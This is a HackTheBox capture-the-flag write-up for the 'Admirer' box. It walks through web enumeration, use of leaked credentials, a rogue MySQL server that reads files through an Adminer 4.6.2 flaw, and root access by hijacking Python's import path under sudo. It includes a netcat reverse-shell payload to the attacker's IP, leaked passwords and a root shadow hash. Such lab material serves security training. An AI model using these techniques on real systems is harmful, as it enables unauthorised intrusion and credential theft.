Admirer - Write-up - HackTheBox

Information

Box#

Admirer

Write-up

Overview#

TL;DR: CTF-like box with a bit of code review for initial access (PHP) and EoP (python).

Install tools used in this WU on BlackArch Linux:

1
pacman -S nmap ffuf curl filezilla pwncat

Network enumeration#

Port & service discovery with nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.80 scan initiated Fri Jun 12 13:18:53 2020 as: nmap -sSVC -p- -oA nmap_full 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.020s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 13:19:24 2020 -- 1 IP address (1 host up) scanned in 30.72 seconds

HTTP discovery#

Lets' browse the website: http://10.10.10.187/.

At the bottom of the page there is an About button:

When you click on it this reveal a contact form:

On HTML source we can see a comment associated to the form.

1
<form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->

It seems it was the first rabbit hole.

HTTP enumeration#

Let's try to find some web pages with ffuf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -u http://10.10.10.187/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.php -fc 403

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.1.0-git
________________________________________________

:: Method : GET
:: URL : http://10.10.10.187/FUZZ
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .php
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________

index.php [Status: 200, Size: 6051, Words: 385, Lines: 154]
. [Status: 200, Size: 6051, Words: 385, Lines: 154]
robots.txt [Status: 200, Size: 138, Words: 21, Lines: 5]
:: Progress: [114801/114801] :: Job [1/1] :: 1739 req/sec :: Duration: [0:01:06] :: Errors: 0 ::

There is a robots.txt:

1
2
3
4
5
$ curl http://10.10.10.187/robots.txt
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

This pretty obvious we have to check http://10.10.10.187/admin-dir/ but we get a 403, there isn't any index so let's continue with ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -u http://10.10.10.187/admin-dir/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.php -fc 403

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.1.0-git
________________________________________________

:: Method : GET
:: URL : http://10.10.10.187/admin-dir/FUZZ
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .php
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________

contacts.txt [Status: 200, Size: 350, Words: 19, Lines: 30]
credentials.txt [Status: 200, Size: 136, Words: 5, Lines: 12]
:: Progress: [114801/114801] :: Job [1/1] :: 1688 req/sec :: Duration: [0:01:08] :: Errors: 0 ::

At http://10.10.10.187/admin-dir/contacts.txt we have some name and email addresses:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

And at http://10.10.10.187/admin-dir/credentials.txt we have some creds:

1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

FTP access#

As the FTP port is open we can try to access it with the credentials.

Let's launch FileZilla to download the files.

It's also possible to use the CLI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:noraj): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x--- 2 0 111 4096 Dec 03 2019 .
drwxr-x--- 2 0 111 4096 Dec 03 2019 ..
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz

dump.sql contains the table of images displayed on the home page, nothing interesting except the db name admirerdb and knowing it's served on localhost.

Let's extract the website source:

1
$ mkdir website && tar xaf html.tar.gz -C website

There is a w4ld0s_s3cr3t_d1r fodler which is the same as admin-dir and contains the same files except that there is one entry more in credentials.txt.

1
2
3
4
5
6
7
8
$ ls -l website
total 28
drwxr-x--- 6 noraj noraj 4096 juin 6 2019 assets
drwxr-x--- 4 noraj noraj 4096 déc. 2 2019 images
-rw-r----- 1 noraj noraj 4613 déc. 3 2019 index.php
-rw-r----- 1 noraj noraj 134 déc. 1 2019 robots.txt
drwxr-x--- 2 noraj noraj 4096 déc. 2 2019 utility-scripts
drwxr-x--- 2 noraj noraj 4096 déc. 2 2019 w4ld0s_s3cr3t_d1r

credentials.txt

1
2
3
[Bank Account]
waldo.11
Ezy]m27}OREc$

We can now read the PHP part of index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT * FROM items";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "<article class='thumb'>";
echo "<a href='".$row["image_path"]."' class='image'><img src='".$row["thumb_path"]."' alt='' /></a>";
echo "<h2>".$row["title"]."</h2>";
echo "<p>".$row["text"]."</p>";
echo "</article>";
}
} else {
echo "0 results";
}
$conn->close();
?>

That gives us the MariaDB credentials.

But what will interest us more is what's inside utility-scripts (accessible publicly).

1
2
3
4
5
website/utility-scripts
├── admin_tasks.php
├── db_admin.php
├── info.php
└── phptest.php

So we have:

  • admin_tasks.php: an admin toolkit that is probably vulnerable and we'll use to gain a shell
  • db_admin.php: leaking MariaDB credentials, it's the same user as in index.php but the password is different, one of the two must be outdated.
  • info.php: a phpinfo()
    • DOCUMENT_ROOT: /var/www/html
    • disable_functions: default
    • open_basedir: /var/www/html
  • phptest.php: a dummy file

Code review#

Here is the list of possible operations:

1
2
3
4
5
6
7
8
9
10
11
12
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)

NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.

And that's the vulnerable code without the comments and HTML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo("Invalid task.");
}
}
?>

The task number is directly passed into a shell_exec() without any security so we would have been able to do a system command injection if task was not compared to a whitelist of allowed task number. It's a loose comparison so there is maybe a way to bypass it.

Adminer exploitation#

In the end admin_tasks.php seems to be a rabbit hole.

Now there is a step requiring guessing. In db_admin.php there is a comment:

TODO: Finish implementing this or find a better open source alternative

http://10.10.10.187/utility-scripts/db_admin.php gives a 404, so maybe the dev found an alternative.

An alternative to db_admin.php is Adminer (formerly phpMinAdmin) that is similar to phpMyAdmin. Also Adminer is the name of the box...

From adminer.org

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.

We can access to http://10.10.10.187/utility-scripts/adminer.php

But we can't login with both set of credentials we found earlier.

We are using Adminer 4.6.2, so let's see if there are security fix in 4.6.3.

Ref. changelog

We can see MySQL: Disallow LOAD DATA LOCAL INFILE which was used in Adminer 4.6.2 file disclosure vulnerability.

Adminer versions up to (and including) 4.6.2 supported the use of the SQL statement LOAD DATA INFILE. It was possible to use this SQL statement to read arbitrary local files because of a protocol flaw in MySQL.

So let's read the associated references:

So we need to host a database and access it remotely from Adminer.

By searching around, I found this msf issue: [Suggestion] Add rogue MySQL server for file theft. bcoles asked msf team to create of rogue server module for this kind of exploit. There is still nothing in msf but the author gave an example with this python script: https://github.com/Gifts/Rogue-MySql-Server

Let's run it so start the fake database as a daemon:

1
$ python2 rogue_mysql_server.py

In rogue_mysql_server.py I changed the filelist to read /etc/passwd instead of c:\windows\win.ini.

1
2
3
4
5
6
7
filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/etc/shadow',
)

We can login by setting our IP address and put whatever credentials.

Yet we can't read /etc/passwd because of open_basedir value.

The file we need to read is index.php with the up-to-date credentials.

We can change filelist (add '/var/www/html/index.php') again and restart the rogue server.

Then if we read the rogue server's logs:

1
2
3
4
$ cat mysql.log | grep password
...
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
...

The we can re-use those credentials over SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sun Jul 12 16:20:44 2020 from 10.10.14.36
waldo@admirer:~$

Elevation of Privilege (EoP)#

The way to follow seems obvious:

1
2
3
4
5
6
7
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

So let's read the script /opt/scripts/admin_tasks.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash

view_uptime()
{
/usr/bin/uptime -p
}

view_users()
{
/usr/bin/w
}

view_crontab()
{
/usr/bin/crontab -l
}

backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;

*) echo "Unknown option." >&2
esac

exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;

*) echo "Unknown option." >&2
esac
done

exit 0

backup_shadow and backup_passwd seem secure, backup_db won't help us so let's dig in backup_web.

1
2
3
4
5
6
7
8
9
10
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

It just launch /opt/scripts/backup.py, let's see that:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

It looks like we'll have to mess with the python import system.

I won't explain to much here, if you want to understand the attack please read SIGSEGv1 Quals 2018 - Write-ups - 100 - Fun avec python - App-Script.

1
2
3
$ mkdir -p /tmp/noraj/
$ cd /tmp/noraj/
$ vim.tiny shutil.py

shutil.py (a reverse-shell because spawning a PTY is useless as the python script is sent to background)

1
2
3
def make_archive(no,ra,j):
import os
os.system("nc 10.10.15.31 8888 -e /bin/bash")

Start a pwncat listener: pwncat -l 8888 -vv.

Then let's call the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo PYTHONPATH=/tmp/noraj/ /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

On our listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ pwncat -l 8888 -vv
INFO: Listening on :::8888 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8888 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.187:33374 (family 2/IPv4, TCP)
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/tmp/noraj
cd /root
cat root.txt
9e96b615438b09b210be126a5e7d0577
cat /home/waldo/user.txt
30a8ad9cb41261bf0f97f75094358045
cat /etc/shadow | grep root
root:$6$M5g.E5/j$AO7lZNZXLFABZld5uGh/YB3J1Va4AG9Tmw1icvm2MsDOj6B1RFloUmnA9jcj4DIsILOedBvVQg66CVjGrd.fl0:18374:0:99999:7:::
Share